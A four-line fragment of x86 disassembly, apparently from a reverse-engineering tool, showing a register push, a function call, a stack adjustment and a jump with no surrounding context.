push esi
call fcn.004403c0
add esp, 0x1c
jmp 0x43de6a